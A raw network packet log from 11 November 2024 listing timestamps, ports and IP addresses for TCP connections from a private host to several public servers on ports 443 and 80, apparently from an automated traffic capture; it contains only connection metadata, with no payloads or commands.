Nov 11, 2024 12:40:25.780797958 CET	443	49846	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.781414032 CET	49846	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.781419039 CET	443	49846	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.781771898 CET	49842	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.781785965 CET	443	49842	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.782284975 CET	49842	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.782289028 CET	443	49842	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.782799006 CET	49843	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.782840014 CET	443	49843	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.783196926 CET	49843	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.783201933 CET	443	49843	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.789323092 CET	49844	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.789340019 CET	443	49844	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.789997101 CET	49844	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.790000916 CET	443	49844	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.870243073 CET	443	49846	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.870377064 CET	443	49846	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.870829105 CET	443	49842	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.870908976 CET	49846	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.871078968 CET	443	49842	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.871160030 CET	49842	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.871278048 CET	443	49845	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.871449947 CET	443	49845	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.871500969 CET	49845	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.871517897 CET	443	49843	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.871718884 CET	443	49843	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.874962091 CET	49843	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.879173994 CET	443	49844	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.879220009 CET	443	49844	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.879374027 CET	49844	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.912278891 CET	49846	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.912290096 CET	443	49846	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.912365913 CET	49846	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.912372112 CET	443	49846	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.913048029 CET	49843	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.913074970 CET	443	49843	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.913341999 CET	49843	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.913350105 CET	443	49843	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.915966034 CET	49844	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.915971994 CET	443	49844	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.915982008 CET	49844	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.915986061 CET	443	49844	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.916941881 CET	49842	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.916955948 CET	443	49842	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.916991949 CET	49842	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.916996956 CET	443	49842	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.918142080 CET	49845	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.918153048 CET	443	49845	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.918241978 CET	49845	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.918247938 CET	443	49845	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.114372969 CET	49851	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:26.114406109 CET	443	49851	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:26.114480019 CET	49851	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:26.114825964 CET	49852	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:26.114847898 CET	443	49852	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:26.114902020 CET	49852	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:26.115113974 CET	49851	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:26.115128040 CET	443	49851	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:26.115309954 CET	49852	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:26.115324974 CET	443	49852	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:26.119752884 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:26.119808912 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:26.145308018 CET	49853	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.145350933 CET	443	49853	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.145440102 CET	49853	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.146068096 CET	49854	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.146076918 CET	443	49854	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.146133900 CET	49854	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.147063971 CET	49855	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.147078991 CET	443	49855	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.147126913 CET	49855	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.148499012 CET	49856	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.148508072 CET	443	49856	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.148709059 CET	49856	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.151585102 CET	49856	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.151604891 CET	443	49856	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.151707888 CET	49853	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.151719093 CET	443	49853	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.151803017 CET	49857	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.151808977 CET	443	49857	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.151856899 CET	49857	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.152019978 CET	49857	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.152030945 CET	443	49857	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.152210951 CET	49855	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.152211905 CET	49854	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.152221918 CET	443	49854	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.152231932 CET	443	49855	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.160557032 CET	443	49847	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:26.160648108 CET	49847	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:26.163485050 CET	49847	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:26.163491011 CET	443	49847	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:26.163727999 CET	443	49847	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:26.170598984 CET	49847	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:26.172856092 CET	49847	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:26.172863960 CET	443	49847	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:26.173281908 CET	49847	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:26.215322971 CET	443	49847	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:26.620682001 CET	443	49847	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:26.621203899 CET	443	49847	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:26.621311903 CET	49847	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:26.621464968 CET	49847	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:26.621480942 CET	443	49847	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:26.621491909 CET	49847	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:26.623159885 CET	443	49851	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:26.623429060 CET	443	49852	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:26.624530077 CET	49851	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:26.624547958 CET	443	49851	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:26.624865055 CET	443	49851	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:26.625955105 CET	49852	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:26.625971079 CET	443	49852	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:26.626370907 CET	443	49852	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:26.626655102 CET	49851	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:26.626723051 CET	443	49851	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:26.627254963 CET	49852	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:26.627329111 CET	443	49852	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:26.715663910 CET	443	49853	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.716212988 CET	443	49854	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.716588020 CET	443	49857	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.716795921 CET	443	49855	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.717153072 CET	443	49856	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.735893965 CET	49856	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.735924006 CET	443	49856	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.737690926 CET	49856	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.737695932 CET	443	49856	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.738218069 CET	49855	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.738230944 CET	443	49855	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.738761902 CET	49855	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.738765955 CET	443	49855	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.739352942 CET	49853	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.739367008 CET	443	49853	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.739754915 CET	49853	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.739758968 CET	443	49853	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.746454954 CET	49854	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.746473074 CET	443	49854	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.746849060 CET	49854	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.746854067 CET	443	49854	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.747301102 CET	49857	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.747311115 CET	443	49857	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.747687101 CET	49857	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.747690916 CET	443	49857	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.750108004 CET	49860	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:26.750138998 CET	443	49860	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:26.750195026 CET	49860	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:26.753179073 CET	49860	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:26.753186941 CET	443	49860	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:26.821856022 CET	49852	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:26.821887970 CET	49851	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:26.828404903 CET	443	49856	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.828454018 CET	443	49856	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.828700066 CET	49856	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.828926086 CET	49856	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.828946114 CET	443	49856	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.828957081 CET	49856	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.828963995 CET	443	49856	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.828989983 CET	443	49855	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.829032898 CET	443	49855	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.829060078 CET	443	49853	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.829077005 CET	49855	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.829101086 CET	443	49853	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.829200029 CET	49853	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.830478907 CET	49855	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.830496073 CET	443	49855	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.830507994 CET	49855	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.830513000 CET	443	49855	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.830720901 CET	49853	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.830727100 CET	443	49853	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.830755949 CET	49853	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.830760002 CET	443	49853	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.834500074 CET	49863	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.834525108 CET	443	49863	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.834625006 CET	49863	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.834744930 CET	49864	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.834765911 CET	443	49864	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.834811926 CET	49865	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.834827900 CET	49864	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.834834099 CET	443	49865	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.834913015 CET	49865	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.834970951 CET	49863	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.834985018 CET	443	49863	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.835017920 CET	49864	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.835037947 CET	443	49864	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.835062027 CET	49865	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.835069895 CET	443	49854	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.835073948 CET	443	49865	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.835299969 CET	443	49854	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.835354090 CET	49854	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.835383892 CET	49854	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.835383892 CET	49854	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.835402966 CET	443	49854	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.835412979 CET	443	49854	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.836209059 CET	443	49857	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.836401939 CET	443	49857	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.836442947 CET	49857	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.836838961 CET	49857	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.836843967 CET	443	49857	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.837685108 CET	49866	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.837693930 CET	443	49866	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.837783098 CET	49866	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.837937117 CET	49866	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.837950945 CET	443	49866	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.839138031 CET	49867	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.839149952 CET	443	49867	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.839271069 CET	49867	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.839378119 CET	49867	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:26.839389086 CET	443	49867	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:26.856098890 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:26.860969067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.057908058 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.057955027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.057966948 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.057977915 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.058007002 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.058020115 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.058031082 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.058043003 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.058053970 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.058065891 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.058070898 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.058144093 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.058856964 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.058912992 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.068557024 CET	49868	443	192.168.2.6	23.209.72.39
Nov 11, 2024 12:40:27.068582058 CET	443	49868	23.209.72.39	192.168.2.6
Nov 11, 2024 12:40:27.068649054 CET	49868	443	192.168.2.6	23.209.72.39
Nov 11, 2024 12:40:27.069436073 CET	49868	443	192.168.2.6	23.209.72.39
Nov 11, 2024 12:40:27.069449902 CET	443	49868	23.209.72.39	192.168.2.6
Nov 11, 2024 12:40:27.123559952 CET	49868	443	192.168.2.6	23.209.72.39
Nov 11, 2024 12:40:27.123765945 CET	49851	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:27.123821974 CET	49852	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:27.123828888 CET	443	49851	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:27.123898983 CET	49851	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:27.123939037 CET	443	49852	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:27.123964071 CET	49860	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:27.123982906 CET	49852	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:27.124402046 CET	49815	443	192.168.2.6	18.244.18.32
Nov 11, 2024 12:40:27.124464989 CET	443	49815	18.244.18.32	192.168.2.6
Nov 11, 2024 12:40:27.124560118 CET	49815	443	192.168.2.6	18.244.18.32
Nov 11, 2024 12:40:27.124959946 CET	49869	443	192.168.2.6	23.209.72.39
Nov 11, 2024 12:40:27.124984026 CET	443	49869	23.209.72.39	192.168.2.6
Nov 11, 2024 12:40:27.125286102 CET	49869	443	192.168.2.6	23.209.72.39
Nov 11, 2024 12:40:27.125725985 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:27.125734091 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:27.125783920 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:27.126360893 CET	49869	443	192.168.2.6	23.209.72.39
Nov 11, 2024 12:40:27.126373053 CET	443	49869	23.209.72.39	192.168.2.6
Nov 11, 2024 12:40:27.126562119 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:27.126571894 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:27.167355061 CET	443	49868	23.209.72.39	192.168.2.6
Nov 11, 2024 12:40:27.168760061 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.168771982 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.168783903 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.168812990 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.168831110 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.168946981 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.168989897 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.168999910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.169029951 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.169305086 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.169316053 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.169326067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.169349909 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.169377089 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.169780016 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.169790983 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.169802904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.169826031 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.169853926 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.170188904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.170201063 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.170214891 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.170232058 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.170247078 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.170264006 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.170265913 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.170306921 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.170845032 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.170856953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.170867920 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.170878887 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.170892000 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.170892000 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.170917988 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.170938969 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.171330929 CET	443	49860	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:27.171720028 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.171766043 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.171828985 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.171894073 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.173748970 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.173760891 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.173772097 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.173803091 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.173820019 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.274379015 CET	443	49860	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:27.274436951 CET	49860	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:27.284852028 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.284866095 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.284878016 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.284905910 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.284929991 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285013914 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285043001 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285054922 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285064936 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285065889 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285079002 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285089970 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285089970 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285115004 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285120964 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285134077 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285142899 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285147905 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285167933 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285192966 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285198927 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285211086 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285223007 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285232067 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285235882 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285243034 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285248995 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285260916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285268068 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285274982 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285279989 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285288095 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285300016 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285311937 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285324097 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285326004 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285336018 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285347939 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285357952 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285357952 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285367012 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285379887 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285383940 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285391092 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285402060 CET	80	49827	185.215.113.206	192.168.2.6
